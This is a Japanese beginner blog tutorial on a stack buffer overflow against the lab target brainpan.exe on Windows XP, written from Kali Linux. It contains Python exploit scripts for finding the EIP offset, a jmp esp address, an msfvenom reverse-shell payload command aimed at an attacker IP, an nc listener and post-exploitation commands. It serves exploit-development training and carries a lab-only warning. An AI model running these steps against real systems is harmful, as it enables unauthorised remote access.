コンテンツへスキップ

【ハッキング】2-1 バッファーオーバーフロー攻撃(マニュアル)【自習室】

  • by

(初心者向け)
KaliLinuxを利用したバッファーオーバーフロー攻撃について説明しています。

ターゲットホスト:WindowsXP
アタッキングホスト:Kali Linux

手順としては、以下のように行っています。
1.プログラム(brainpan.exe)がクラッシュするデータ量の確認
2.EIP(リターンアドレス)の位置を確認
 -immunity debuggerを起動
 -リターンアドレス検証用データの作成
 -検証用プログラムの編集
 -検証用プログラムの送信
-EIPアドレス値の確認
-EIPアドレス値の検証
3.”jmp esp”コマンドのアドレス検証
4.リバースシェルをwindows側から受け取る為のコード生成
5.バッファーオーバーフロープログラムの編集
6.リスニングポートの起動
7.プログラムの実行
8.取得した権限の確認

※OSCP等ではmsfvenomの前にbadchar(使用できない文字コード)の検証を行うのですが、今回は説明を省略しました。
次回以降必要であれば、改めて動画にします。

1.プログラム(brainpan.exe)がクラッシュするデータ量の確認
github内に保管されているbrainpan.pyをいうパイソンスクリプトを編集して利用しました。
https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice
python scriptをダウンロードした後に、対応するIPアドレスの値をターゲットとなるWindowsのIPアドレスに書き換えました。

2.次にEIP(リターンアドレス)の位置を確認する。
リターンアドレスを検証用に702バイトの文字列をKali上で作成しました。
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 702

——————-
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = ‘Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax’

try:
print “sending evil buffer…”
s.connect((‘192.168.48.134’,9999))
data = s.recv(1024)
s.send(buffer + ‘rn’)
print “nDone!”

except:
print “Count not connect to Brain!”

————————-

-EIPアドレスの値を確認
EIPの値は35724134でした。

何バイト目なのかを確認
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 702 -q 35724134

出力結果から、524バイトから4バイトにEIP(リターンアドレス)が存在する事を示します。

-EIPアドレスの検証
bufferの値をA524バイト、B4バイト、C74バイトにしたプログラムを走らせてみます。
もしも得られた結果が正しければ、EIP(リターンアドレス)の値はBBBB(16進数で42424242)という値になっているはずです。

——————
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = “A”*524 + “B”*4 + “C”*74

try:
print “sending evil buffer…”
s.connect((‘192.168.48.134’,9999))
data = s.recv(1024)
s.send(buffer + ‘rn’) なの
print “nDone!”

except:
print “Count not connect to Brain!”
——————

3.”jmp esp”コマンドのアドレス検証
Immunity Debugger上で”JMP ESP”の値を検索します。
EIPからESPに飛ぶコマンドを実行させて、ESPに格納したプログラムを実行させます。
311712F3

4.リバースシェルを実行する為のコードを生成
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.48.165 LPORT=4445 -b ‘x00’ -f python -v shellcode

5.EIPアドレスとリバースシェルコードをプログラム内にコピーします。

6.リスニングポートをKali上で起動
nc -nlvp 4445

7.exeファイルを再実行した後に、パイソンスクリプトを走らせますします。
python finalexploit.py

8.管理者権限を持っているかどうかを確認します。
echo %USERDOMAIN%%USERNAME%
cd C:Documents and SettingsAdministratorDesktop
type root.txt

※注意事項※
検証用に作られた環境のみで行って下さい。(自己責任になります)許可なくターゲットにnmapを送信しただけでも、犯罪行為とみなされる場合があります。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

CAPTCHA